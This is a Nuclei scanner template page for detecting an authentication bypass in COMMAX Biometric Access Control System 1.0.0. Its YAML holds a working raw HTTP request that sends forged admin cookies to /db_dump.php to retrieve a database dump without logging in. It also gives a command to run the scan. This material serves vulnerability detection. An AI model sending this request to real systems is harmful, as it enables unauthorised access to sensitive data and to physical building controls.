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COMMAX Biometric Access Control System 1.0.0 - Authentication Bypass

ID: commax-biometric-auth-bypass

Severity: critical

Author: gy741

Tags: commax,auth-bypass,edb

Description

Section titled “Description”

COMMAX Biometric Access Control System 1.0.0 suffers from an authentication bypass vulnerability. An unauthenticated attacker through cookie poisoning can bypass authentication and disclose sensitive information and circumvent physical controls in smart homes and buildings.

YAML Source

Section titled “YAML Source”
id: commax-biometric-auth-bypass


info:
  name: COMMAX Biometric Access Control System 1.0.0 - Authentication Bypass
  author: gy741
  severity: critical
  description: |
    COMMAX Biometric Access Control System 1.0.0 suffers from an authentication bypass vulnerability. An unauthenticated attacker through cookie poisoning can bypass authentication and disclose sensitive information and circumvent physical controls in smart homes and buildings.
  reference:
    - https://www.exploit-db.com/exploits/50206
    - https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5661.php
  metadata:
    max-request: 1
  tags: commax,auth-bypass,edb


http:
  - raw:
      - |
        GET /db_dump.php HTTP/1.1
        Host: {{Hostname}}
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
        Referer: {{BaseURL}}/user_add.php
        Cookie: CMX_SAVED_ID=zero; CMX_ADMIN_ID=science; CMX_ADMIN_NM=liquidworm; CMX_ADMIN_LV=9; CMX_COMPLEX_NM=ZSL; CMX_COMPLEX_IP=2.5.1.0


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<title>::: COMMAX :::</title>"


      - type: word
        part: header
        words:
          - "text/html"


      - type: status
        status:
          - 200
# digest: 4b0a004830460221008eb6042ef37959c42d87b391d55a05f81cd29fed000b1647a2d3300585ba6fd9022100fb5192c65db16fd87d18d8646bacfa802830827c78c4d2e38df587536cab830a:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/other/commax-biometric-auth-bypass.yaml"

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